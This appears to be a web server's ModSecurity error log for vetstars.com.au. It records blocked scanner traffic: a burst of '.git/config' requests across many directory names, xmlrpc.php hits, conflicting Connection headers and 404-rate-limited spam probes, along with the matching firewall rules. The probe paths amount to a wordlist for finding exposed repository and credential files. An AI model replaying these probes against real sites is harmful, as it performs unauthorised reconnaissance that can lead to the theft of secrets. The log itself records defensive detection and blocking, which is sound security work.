[Sat Mar 14 02:47:48.423328 2026] [:error] [pid 47891:tid 47973] [client 35.92.185.48:54692] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/dev/.git/config"] [unique_id "abRb1PchNnuMqi7I_WEh-gAAAIc"]
[Sat Mar 14 02:47:48.423626 2026] [:error] [pid 48070:tid 48079] [client 35.92.185.48:54736] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/docs/.git/config"] [unique_id "abRb1EIvrhMS5BVHxNk7WAAAAAc"]
[Sat Mar 14 02:47:48.424364 2026] [:error] [pid 48070:tid 48081] [client 35.92.185.48:54003] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/sample/.git/config"] [unique_id "abRb1EIvrhMS5BVHxNk7WQAAAAk"]
[Sat Mar 14 02:47:48.424679 2026] [:error] [pid 47891:tid 47979] [client 35.92.185.48:54717] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/tmp/.git/config"] [unique_id "abRb1PchNnuMqi7I_WEh-wAAAI0"]
[Sat Mar 14 02:47:48.424838 2026] [:error] [pid 48070:tid 48095] [client 35.92.185.48:54703] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/main/.git/config"] [unique_id "abRb1EIvrhMS5BVHxNk7WgAAABc"]
[Sat Mar 14 02:47:48.426431 2026] [:error] [pid 47905:tid 47995] [client 35.92.185.48:54712] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/temp/.git/config"] [unique_id "abRb1BaYZayP4o4wpJdCgQAAAUI"]
[Sat Mar 14 02:47:48.427707 2026] [:error] [pid 47878:tid 47948] [client 35.92.185.48:54700] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/beta/.git/config"] [unique_id "abRb1H8jymmmpr1jcBfBmAAAAEk"]
[Sat Mar 14 02:47:48.428456 2026] [:error] [pid 47905:tid 47999] [client 35.92.185.48:54688] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/administrator/.git/config"] [unique_id "abRb1BaYZayP4o4wpJdCggAAAUY"]
[Sat Mar 14 02:47:48.439441 2026] [:error] [pid 47891:tid 47981] [client 35.92.185.48:54713] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/public/.git/config"] [unique_id "abRb1PchNnuMqi7I_WEh_AAAAI8"]
[Sat Mar 14 02:47:48.439450 2026] [:error] [pid 47891:tid 47978] [client 35.92.185.48:54017] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/drupal/.git/config"] [unique_id "abRb1PchNnuMqi7I_WEh_QAAAIw"]
[Sat Mar 14 02:47:48.441157 2026] [:error] [pid 48070:tid 48092] [client 35.92.185.48:54680] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/app/.git/config"] [unique_id "abRb1EIvrhMS5BVHxNk7WwAAABQ"]
[Sat Mar 14 02:47:48.441623 2026] [:error] [pid 47905:tid 48013] [client 35.92.185.48:54691] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/backend/.git/config"] [unique_id "abRb1BaYZayP4o4wpJdCgwAAAVQ"]
[Sat Mar 14 02:47:48.454327 2026] [:error] [pid 47891:tid 47971] [client 35.92.185.48:54699] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/dist/.git/config"] [unique_id "abRb1PchNnuMqi7I_WEh_gAAAIU"]
[Sat Mar 14 02:47:48.454475 2026] [:error] [pid 48070:tid 48086] [client 35.92.185.48:54690] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/assets/.git/config"] [unique_id "abRb1EIvrhMS5BVHxNk7XAAAAA4"]
[Sat Mar 14 02:47:48.460994 2026] [:error] [pid 47891:tid 47967] [client 35.92.185.48:54725] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/old/.git/config"] [unique_id "abRb1PchNnuMqi7I_WEh_wAAAIE"]
[Sat Mar 14 02:47:48.464861 2026] [:error] [pid 47891:tid 47984] [client 35.92.185.48:54733] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/www/.git/config"] [unique_id "abRb1PchNnuMqi7I_WEiAAAAAJI"]
[Sat Mar 14 02:47:48.464871 2026] [:error] [pid 47891:tid 47974] [client 35.92.185.48:54722] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/web/.git/config"] [unique_id "abRb1PchNnuMqi7I_WEiAQAAAIg"]
[Sat Mar 14 02:47:48.465645 2026] [:error] [pid 48070:tid 48090] [client 35.92.185.48:54705] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/new/.git/config"] [unique_id "abRb1EIvrhMS5BVHxNk7XQAAABI"]
[Sat Mar 14 02:47:48.466249 2026] [:error] [pid 47891:tid 47966] [client 35.92.185.48:54735] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp/.git/config"] [unique_id "abRb1PchNnuMqi7I_WEiAgAAAIA"]
[Sat Mar 14 02:47:48.466339 2026] [:error] [pid 48070:tid 48096] [client 35.92.185.48:54724] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-admin/.git/config"] [unique_id "abRb1EIvrhMS5BVHxNk7XgAAABg"]
[Sat Mar 14 02:47:48.467252 2026] [:error] [pid 48070:tid 48087] [client 35.92.185.48:54709] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/v1/.git/config"] [unique_id "abRb1EIvrhMS5BVHxNk7XwAAAA8"]
[Sat Mar 14 02:47:48.478655 2026] [:error] [pid 47891:tid 47983] [client 35.92.185.48:54029] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/joomla/.git/config"] [unique_id "abRb1PchNnuMqi7I_WEiAwAAAJE"]
[Sat Mar 14 02:47:48.478681 2026] [:error] [pid 47905:tid 48015] [client 35.92.185.48:54721] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/src/.git/config"] [unique_id "abRb1BaYZayP4o4wpJdChAAAAVY"]
[Sat Mar 14 02:47:48.478729 2026] [:error] [pid 47878:tid 47956] [client 35.92.185.48:54689] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/backup/.git/config"] [unique_id "abRb1H8jymmmpr1jcBfBmQAAAFE"]
[Sat Mar 14 02:47:48.479606 2026] [:error] [pid 47891:tid 47975] [client 35.92.185.48:54683] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "abRb1PchNnuMqi7I_WEiBAAAAIk"]
[Sat Mar 14 02:47:48.482876 2026] [:error] [pid 48070:tid 48091] [client 35.92.185.48:54706] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/html/.git/config"] [unique_id "abRb1EIvrhMS5BVHxNk7YAAAABM"]
[Sat Mar 14 02:47:48.483165 2026] [:error] [pid 48070:tid 48078] [client 35.92.185.48:54711] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/production/.git/config"] [unique_id "abRb1EIvrhMS5BVHxNk7YQAAAAY"]
[Sat Mar 14 02:47:48.495439 2026] [:error] [pid 47891:tid 47968] [client 35.92.185.48:54720] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/static/.git/config"] [unique_id "abRb1PchNnuMqi7I_WEiBgAAAII"]
[Sat Mar 14 02:47:48.508970 2026] [:error] [pid 47878:tid 47961] [client 35.92.185.48:54737] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/example/.git/config"] [unique_id "abRb1H8jymmmpr1jcBfBmwAAAFY"]
[Sat Mar 14 02:47:48.508973 2026] [:error] [pid 47878:tid 47947] [client 35.92.185.48:54129] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/frontend/.git/config"] [unique_id "abRb1H8jymmmpr1jcBfBmgAAAEg"]
[Sat Mar 14 02:47:48.518629 2026] [:error] [pid 47878:tid 47944] [client 35.92.185.48:54708] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/staging/.git/config"] [unique_id "abRb1H8jymmmpr1jcBfBnAAAAEU"]
[Sat Mar 14 02:47:48.518629 2026] [:error] [pid 47878:tid 47962] [client 35.92.185.48:49207] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/logs/.git/config"] [unique_id "abRb1H8jymmmpr1jcBfBnQAAAFc"]
[Sat Mar 14 02:47:48.519074 2026] [:error] [pid 48070:tid 48074] [client 35.92.185.48:54718] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/sites/.git/config"] [unique_id "abRb1EIvrhMS5BVHxNk7YgAAAAI"]
[Sat Mar 14 02:47:48.524185 2026] [:error] [pid 47878:tid 47942] [client 35.92.185.48:54710] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/test/.git/config"] [unique_id "abRb1H8jymmmpr1jcBfBngAAAEM"]
[Sat Mar 14 02:47:48.524322 2026] [:error] [pid 48070:tid 48075] [client 35.92.185.48:54727] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/site/.git/config"] [unique_id "abRb1EIvrhMS5BVHxNk7YwAAAAM"]
[Sat Mar 14 02:47:48.555066 2026] [:error] [pid 47891:tid 47972] [client 35.92.185.48:54729] [client 35.92.185.48] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/v3/.git/config"] [unique_id "abRb1PchNnuMqi7I_WEiBwAAAIY"]
[Sat Mar 14 04:07:42.143853 2026] [:error] [pid 4018:tid 4034] [client 159.146.13.142:32638] [client 159.146.13.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.146.13.142, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "abRujgEk1fxdMMkDDaK5EQAAAMk"]
[Sat Mar 14 05:12:46.155755 2026] [:error] [pid 35801:tid 35821] [client 8.228.108.201:60890] [client 8.228.108.201] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/config"] [unique_id "abR9zm8tVFelXGsqbU-g9wAAARE"]
[Sat Mar 14 06:47:11.992578 2026] [:error] [pid 57226:tid 57231] [client 43.130.12.43:57838] [client 43.130.12.43] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "abST72xFlXQvNewjeI8yqgAAAUE"]
[Sat Mar 14 11:21:06.786165 2026] [:error] [pid 54017:tid 54039] [client 43.159.145.149:34310] [client 43.159.145.149] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "abTUIph88Lk5QZp0lWVxQQAAAk8"]
[Sat Mar 14 12:07:54.299144 2026] [:error] [pid 54017:tid 54044] [client 117.33.163.216:40024] [client 117.33.163.216] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "abTfGph88Lk5QZp0lWV30wAAAlQ"]
[Sat Mar 14 15:46:32.238465 2026] [:error] [pid 13151:tid 13176] [client 43.135.148.92:47244] [client 43.135.148.92] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "abUSWNbXrXQxFzrsw43-mwAAAJc"]
[Sat Mar 14 18:39:37.756603 2026] [:error] [pid 61383:tid 61416] [client 43.153.122.30:52500] [client 43.153.122.30] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "abU66S4SAn4TCd4o0dXhcQAAAQA"]
[Sat Mar 14 19:10:35.759376 2026] [:error] [pid 13151:tid 13176] [client 114.96.103.33:56266] [client 114.96.103.33] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "abVCK9bXrXQxFzrsw41UiAAAAJc"]
[Sat Mar 14 19:36:22.564634 2026] [:error] [pid 13151:tid 13155] [client 14.181.48.72:49164] [client 14.181.48.72] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 14.181.48.72, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "abVINtbXrXQxFzrsw41ZBgAAAII"]
[Sat Mar 14 21:37:21.681329 2026] [:error] [pid 61383:tid 61429] [client 51.77.216.212:44008] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "abVkkS4SAn4TCd4o0dUNZgAAAQ0"]
[Sat Mar 14 21:37:24.048496 2026] [:error] [pid 61383:tid 61431] [client 51.77.216.212:56028] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "abVklC4SAn4TCd4o0dUNagAAAQ8"]
[Sat Mar 14 21:37:26.679152 2026] [:error] [pid 61477:tid 61503] [client 51.77.216.212:56042] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "abVklqcx6muYfIYRM7DUEwAAAFY"]
[Sat Mar 14 21:37:29.226247 2026] [:error] [pid 13151:tid 13153] [client 51.77.216.212:56052] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "abVkmdbXrXQxFzrsw41vAwAAAIA"]
[Sat Mar 14 21:37:31.811359 2026] [:error] [pid 61477:tid 61505] [client 51.77.216.212:56066] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "abVkm6cx6muYfIYRM7DUFQAAAFg"]
[Sat Mar 14 21:37:34.252286 2026] [:error] [pid 30154:tid 30175] [client 51.77.216.212:59554] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "abVknl6OP9woRgp3v0GQYgAAAM8"]
[Sat Mar 14 21:37:36.976868 2026] [:error] [pid 61384:tid 61448] [client 51.77.216.212:59556] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "abVkoPzibL2IYJprDHLD6wAAAcU"]
[Sat Mar 14 21:37:39.760102 2026] [:error] [pid 61477:tid 61499] [client 51.77.216.212:59558] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "abVko6cx6muYfIYRM7DUGAAAAFI"]
[Sat Mar 14 21:37:42.072701 2026] [:error] [pid 30154:tid 30160] [client 51.77.216.212:59560] [client 51.77.216.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "abVkpl6OP9woRgp3v0GQcgAAAMA"]
